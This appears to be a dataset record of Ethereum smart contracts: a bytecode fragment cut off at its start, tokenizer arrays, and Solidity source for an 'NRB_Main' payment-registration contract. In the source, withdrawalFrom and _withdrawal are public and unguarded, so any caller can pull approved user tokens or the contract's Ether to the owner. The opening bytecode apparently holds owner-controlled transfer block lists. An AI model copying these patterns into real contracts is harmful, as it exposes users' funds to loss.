02081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa4565b005b6105a46110ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114d565b60405180821515815260200191505060405180910390f35b61068b61116b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611191565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611218565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611455565b848461145d565b6001905092915050565b6000600554905090565b6000610a74848484611654565b610b3584610a80611455565b610b3085604051806060016040528060288152602001612e8260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611455565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b61145d565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113cd90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f5657610e75838281518110610e5457fe5b6020026020010151838381518110610e6857fe5b602002602001015161114d565b5083811015610f49576001806000858481518110610e8f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f48838281518110610ef757fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61145d565b5b8080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b600061116161115a611455565b8484611654565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113c95760018060008484815181106112f857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061136357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112de565b5050565b60008082840190508381101561144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ecf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e3a6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117235750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a2a5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611875576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611880868686612e11565b6118eb84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d49565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611ad35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b2b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e8657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bb857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611bc557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611cdc868686612e11565b611d4784604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dda846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d48565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121a057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611ff6868686612e11565b61206184604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f4846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d47565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125b857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122a25750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561237d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b61240e868686612e11565b61247984604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d46565b60035481101561298a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c9576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561274f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b6127e0868686612e11565b61284b84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128de846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d45565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a335750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b612b9f868686612e11565b612c0a84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612dc3578082015181840152602081019050612da8565b50505050905090810190601f168015612df05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207ae59ad4bd1e32cdc74326cae354638b44a844849c54c10b402149d63e461a4064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 23499, 2620, 18939, 2487, 2063, 2575, 15136, 14141, 2629, 2497, 2850, 2581, 21472, 2575, 5243, 21926, 2581, 22407, 2575, 2278, 2549, 2094, 22610, 16703, 7011, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 2019, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,107
0x9639a45948335433997e5aa328342b287da3997d
pragma solidity ^0.4.14; // ---------------------------------------------------------------------------- // Currency contract // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // NRB_Users // ---------------------------------------------------------------------------- contract NRB_Users { function init(address _main, address _flc) public; function registerUserOnToken(address _token, address _user, uint _value, uint _flc, string _json) public returns (uint); function getUserIndexOnEther(address _user) constant public returns (uint); function getUserIndexOnToken(address _token, address _user) constant public returns (uint); function getUserLengthOnEther() constant public returns (uint); function getUserLengthOnToken(address _token) constant public returns (uint); function getUserNumbersOnToken(address _token, uint _index) constant public returns (uint, uint, uint, uint, address); function getUserTotalPaid(address _user, address _token) constant public returns (uint); function getUserTotalCredit(address _user, address _token) constant public returns (uint); } // ---------------------------------------------------------------------------- // NRB_Tokens contract // ---------------------------------------------------------------------------- contract NRB_Tokens { function init(address _main, address _flc) public; function getTokenListLength() constant public returns (uint); function getTokenAddressByIndex(uint _index) constant public returns (address); function isTokenRegistered(address _token) constant public returns (bool); function registerToken(address _token, string _name, string _symbol, uint _decimals) public; function registerTokenPayment(address _token, uint _value) public; function sendFLC(address user, address token, uint totalpaid) public returns (uint); } // ---------------------------------------------------------------------------- // contract WhiteListAccess // ---------------------------------------------------------------------------- contract WhiteListAccess { function WhiteListAccess() public { owner = msg.sender; whitelist[owner] = true; whitelist[address(this)] = true; } address public owner; mapping (address => bool) whitelist; modifier onlyBy(address who) { require(msg.sender == who); _; } modifier onlyOwner {require(msg.sender == owner); _;} modifier onlyWhitelisted {require(whitelist[msg.sender]); _;} function addToWhiteList(address trusted) public onlyOwner() { whitelist[trusted] = true; } function removeFromWhiteList(address untrusted) public onlyOwner() { whitelist[untrusted] = false; } } // ---------------------------------------------------------------------------- // CNTCommon contract // ---------------------------------------------------------------------------- contract NRB_Common is WhiteListAccess { string public name; // contract's name function NRB_Common() public { ETH_address = 0x1; } // Deployment address public ETH_address; // representation of Ether as Token (0x1) address public TOKENS_address; // NRB_Tokens address public USERS_address; // NRB_Users address public FLC_address; // Four Leaf Clover Token // Debug event Debug(string, bool); event Debug(string, uint); event Debug(string, uint, uint); event Debug(string, uint, uint, uint); event Debug(string, uint, uint, uint, uint); event Debug(string, address); event Debug(string, address, address); } // ---------------------------------------------------------------------------- // NRB_Main (main) contract // ---------------------------------------------------------------------------- contract NRB_Main is NRB_Common { mapping(address => uint) raisedAmount; bool _init; function NRB_Main() public { _init = false; name = "NRB_Main"; } function init(address _tokens, address _users, address _flc) public { require(!_init); TOKENS_address = _tokens; USERS_address = _users; FLC_address = _flc; NRB_Tokens(TOKENS_address).init(address(this), _flc); NRB_Users(USERS_address).init(address(this), _flc); _init = true; } function isTokenRegistered(address _token) constant public returns (bool) { return NRB_Tokens(TOKENS_address).isTokenRegistered(_token); } function isInit() constant public returns (bool) { return _init; } // User Registration ------------------------------------------ function registerMeOnEther(string _json) payable public { return registerMeOnTokenCore(ETH_address, msg.sender, msg.value, _json); } function registerMeOnToken(address _token, uint _value, string _json) public { return registerMeOnTokenCore(_token, msg.sender, _value, _json); } function registerMeOnTokenCore(address _token, address _user, uint _value, string _json) internal { require(this.isTokenRegistered(_token)); raisedAmount[_token] = raisedAmount[_token] + _value; uint _credit = NRB_Users(USERS_address).getUserTotalCredit(_user, _token); uint _totalpaid = NRB_Users(USERS_address).getUserTotalPaid(_user, _token) + _value - _credit; uint flc = NRB_Tokens(TOKENS_address).sendFLC(_user, _token, _totalpaid); NRB_Users(USERS_address).registerUserOnToken(_token, _user, _value, flc,_json); NRB_Tokens(TOKENS_address).registerTokenPayment(_token,_value); withdrawalFrom(_token, _user, _value); } function getRaisedAmountOnEther() constant public returns (uint) { return this.getRaisedAmountOnToken(ETH_address); } function getRaisedAmountOnToken(address _token) constant public returns (uint) { return raisedAmount[_token]; } function getUserIndexOnEther(address _user) constant public returns (uint) { return NRB_Users(USERS_address).getUserIndexOnEther(_user); } function getUserIndexOnToken(address _token, address _user) constant public returns (uint) { return NRB_Users(USERS_address).getUserIndexOnToken(_token, _user); } function getUserLengthOnEther() constant public returns (uint) { return NRB_Users(USERS_address).getUserLengthOnEther(); } function getUserLengthOnToken(address _token) constant public returns (uint) { return NRB_Users(USERS_address).getUserLengthOnToken(_token); } function getUserNumbersOnEther(uint _index) constant public returns (uint, uint, uint, uint, uint) { return getUserNumbersOnToken(ETH_address, _index); } function getUserNumbersOnToken(address _token, uint _index) constant public returns (uint, uint, uint, uint, uint) { address _user; uint _time; uint _userid; uint _userindex; uint _paid; (_time, _userid, _userindex, _paid, _user) = NRB_Users(USERS_address).getUserNumbersOnToken(_token, _index); uint _balance = _paid * 10; uint _userbalance = getUserBalanceOnToken(_token, _user); if (_userbalance < _balance) { _balance = _userbalance; } return (_time, _balance, _paid, _userid, _userindex); } function getUserBalanceOnEther(address _user) constant public returns (uint) { return this.getUserBalanceOnToken(ETH_address, _user); } function getUserBalanceOnToken(address _token, address _user) constant public returns (uint) { if (_token == ETH_address) { return _user.balance; } else { return ERC20Interface(_token).balanceOf(_user); } } function withdrawalFrom(address _token, address _user, uint _value) public { if (_token != ETH_address) { ERC20Interface(_token).transferFrom(_user, owner, _value); } else { owner.transfer(this.balance); } } // recover tokens sent accidentally function _withdrawal(address _token) public { uint _balance = ERC20Interface(_token).balanceOf(address(this)); if (_balance > 0) { ERC20Interface(_token).transfer(owner, _balance); } owner.transfer(this.balance); } }
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630138aac11461014e57806301bf6648146101ba57806306fdde03146101f35780630ee3c31d14610281578063161181ea146102ce578063184b95591461031b57806326aa101f1461039257806329c1ee0d146103e357806335a9d05114610438578063419ab31e1461048d57806347ee0394146104e25780634d4479a81461051b578063517a626f146105705780636a2d50281461059957806376dc76e7146105e657806388da9bfd146106585780638da5cb5b146106ab57806397acb94d14610700578063a0b9e8d514610761578063b145a5b81461078a578063c5bfa9d9146107b7578063d282db0114610804578063d75d93f61461083d578063fa02955f146108c2578063fe5aa8e014610914575b600080fd5b341561015957600080fd5b6101a4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610980565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610abe565b005b34156101fe57600080fd5b610206610b74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024657808201518184015260208101905061022b565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028c57600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c12565b6040518082815260200191505060405180910390f35b34156102d957600080fd5b610305600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cfb565b6040518082815260200191505060405180910390f35b341561032657600080fd5b610390600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610de4565b005b341561039d57600080fd5b6103c9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110eb565b604051808215151515815260200191505060405180910390f35b34156103ee57600080fd5b6103f66111d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044357600080fd5b61044b6111fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049857600080fd5b6104a0611220565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ed57600080fd5b610519600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611246565b005b341561052657600080fd5b61052e6112fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057b57600080fd5b610583611321565b6040518082815260200191505060405180910390f35b34156105a457600080fd5b6105d0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113d1565b6040518082815260200191505060405180910390f35b34156105f157600080fd5b610626600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061141a565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b341561066357600080fd5b610679600480803590602001909190505061157e565b6040518086815260200185815260200184815260200183815260200182815260200195505050